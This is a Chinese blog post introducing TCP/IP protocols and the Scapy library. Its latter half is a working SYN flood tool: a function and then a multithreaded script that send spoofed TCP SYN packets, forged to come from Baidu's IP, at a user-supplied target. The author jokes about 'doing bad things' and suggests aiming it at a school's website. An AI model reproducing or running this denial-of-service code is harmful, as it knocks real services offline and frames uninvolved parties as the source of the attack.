Python Scapy发送数据包

数据包

包是TCP/IP协议通信传输中的数据单位,一般也称“数据包”。

TCP/IP协议是工作在OSI模型第三层(网络层)、第四层(传输层)上的,帧工作在第二层(数据链路层)。上一层的内容由下一层的内容来传输,所以在局域网中,“包”是包含在“帧”里的。

数据包的结构:数据包的结构非常复杂,不是三言两语能够说清的,在这里主要了解一下它的关键构成就可以了,这对于理解TCP/IP协议的通信原理是非常重要的。数据包主要由“目的IP地址”、“源IP地址”、“净载数据”等部分构成,包括包头和包体,包头是固定长度,包体的长度不定,各字段长度固定,双方的请求数据包和应答数据包的包头结构是一致的,不同的是包体的定义。 数据包的结构与我们平常写信非常类似,目的IP地址是说明这个数据包是要发给谁的,相当于收信人地址;源IP地址是说明这个数据包是发自哪里的,相当于发信人地址;而净载数据相当于信件的内容。 正是因为数据包具有这样的结构,安装了TCP/IP协议的计算机之间才能相互通信。我们在使用基于TCP/IP协议的网络时,网络中其实传递的就是数据包。理解数据包,对于网络管理的网络安全具有至关重要的意义。


Python发送数据包

Scapy

Scapy是Python的一个第三方库,兼容Python2和Python3,可以用来发送各个协议的数据包,就像Python语言中的一枚洲际导弹,想打哪打哪。

SYN协议

SYN,同步序列编号(Synchronize Sequence Numbers)。是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。

TCP连接的第一个包,非常小的一种数据包。SYN 攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。每个机器的欺骗包都要花几秒钟进行尝试方可放弃提供正常响应。

ARP协议

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。相关协议有RARP、代理ARP。NDP用于在IPv6中代替地址解析协议。

ACK

ACK (Acknowledge character)即是确认字符,在数据通信中,接收站发给发送站的一种传输类控制字符。表示发来的数据已确认接收无误。在TCP/IP协议中,如果接收方成功的接收到数据,那么会回复一个ACK数据。通常ACK信号有自己固定的格式,长度大小,由接收方回复给发送方。

ICMP协议

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。 [1]

ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。

DNS

域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53[1]。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。

开始时,域名的字符仅限于ASCII字符的一个子集。2008年,ICANN通过一项决议,允许使用其它语言作为互联网顶级域名的字符。使用基于Punycode码的IDNA系统,可以将Unicode字符串映射为有效的DNS字符集。因此,诸如“XXX.中国”、“XXX.美国”的域名可以在地址栏直接输入并访问,而不需要安装插件。但是,由于英语的广泛使用,使用其他语言字符作为域名会产生多种问题,例如难以输入,难以在国际推广等。

简单来说就是一个将域名翻译成ip地址的系统。

Scapy发包

Scapy的安装可以看我的上一篇文章Python实施SYN泛洪攻击。

导入Scapy

from scapy.all import * #使用这一行即可导入所有Scapy的函数

构建数据包

在构建一个数据包之前,我们先ping一下百度的网站,如果你真的是小白中的小白,不知道什么是ping的话,那么...那么...我也没啥办法,只好把这个链接送给你。

Python Scapy发送数据包_第1张图片
ping www.baidu.com

我们这里得到了百度的IP地址为14.215.177.38,下面就可以干坏事了 :)  。


IP(src="14.215.177.38",dst="你的目标")  #使用scapy IP函数构建第一层。

TCPlayer = TCP(sport="目标主机端口", dport="自家主机端口")  #使用scapy TCP函数构建第二层。

pkt = IPlayer / TCPlayer  #组合构建成完整数据包

send(pkt)  #发送数据包


上面我引用了百度的话来解释SYN协议,有一段话是:TCP连接的第一个包,非常小的一种数据包。SYN 攻击包括大量此类的包,由于这些包看上去来自实际不存在的站点,因此无法有效进行处理。每个机器的欺骗包都要花几秒钟进行尝试方可放弃提供正常响应。百度百科专门把SYN攻击这个词提出来,我怀疑其意在告诉我们,SYN这个协议就用来攻击的(淫笑中)。

在上面这一段代码,我把IP函数中的src参数设置为百度的IP地址 :) ,src就是虚拟的发送者,这些包看上去来自实际不存在的站点,其原因就是,目标主机显示你发出的包来源于src所填写的IP地址,那么 :)  ,对面就会发现:啊!百度正在打我!(度娘:啥,我啥都不知道啊。)

所以这时候,我们构建这样一个函数:

def synFlood(tgt):

        src = "14.215.177.38"

        for sport in range(1024, 65535):

            IPlayer = IP(src=src, dst=tgt)

            TCPlayer = TCP(sport=sport, dport=513)

            pkt = IPlayer / TCPlayer

            send(pkt)

然后使用synFlood("你的目标")来调用该函数。

但是上面又说了,SYN数据包是TCP连接的第一个包,非常小的一种数据包,他很小,那么,难道我要把攻击脚本挂一年吗?(CDN提供商:你打一辈子也没用,我就是抗打的 :) )

这里,我们有四种方式:

1. 具有能力,购买几百台电脑,同时挂载脚本;

2. 把脚本放到桌面,乐此不疲的双击;

3. 使用Python提供的threading库制造多线程;

4. 这个方法绝密,访问我们的网站或者副站(国内副站快一些)找到我们的联系方式,我们给你共享科技。

既然4绝密,那么毫无疑问3是最好的了,下面直接上代码,不废话:

#coding: utf8

print("Welcome to use SYN Flood Attack Project.\n\

Author:Leopold Fu, Qinchuan Union of China.\n")

print("Initializing...\n")

from scapy.all import *

from threading import Thread,Lock,activeCount

src = "10.1.1.2"

class Loop(Thread):

    def __init__(self,tgt):

        Thread.__init__(self)

        self.tgt = tgt

    def synFlood(self):

        global src

        for sport in range(1024, 65535):

            IPlayer = IP(src=src, dst=self.tgt)

            TCPlayer = TCP(sport=sport, dport=513)

            pkt = IPlayer / TCPlayer

            send(pkt)

class Main(Thread):

    def __init__(self, tgt, thread):

        Thread.__init__(self)

        self.tgt = tgt

        self.thread = thread

    def run(self):

        limit = 100

        total = 0

        while True:

            if activeCount() < limit:

                Loop(self.tgt).start()

                total = total + 1

                print('Thread: %s ,Send attack package %s times...' % (str(self.thread),(str(total))) + "\n")

t = int(input("You're Python3.\nInput your Thread:"))

try:

    ip = raw_input("Your target:")

except:

    ip = input("Your target:")

i = 0

while True:

    i = i+1

    Main(tgt=ip,thread=i).start()

    t = t-1

    if t==0:

        break

譬如说,如果你是一个天才少年,对学校的网站十分恼火,那么,把目标IP换成学校的IP就行了(有CDN就没办法了,出了事别找我 :) )。

这段代码可以在我的GitHub里面看到,地址在上一篇文章找,如果你懒得复制粘贴,或者里面复制粘贴有什么BUG,那你就老老实实从GitHub上面下载吧。

推广:中国秦川联盟光速计划

你可能感兴趣的:(Python Scapy发送数据包)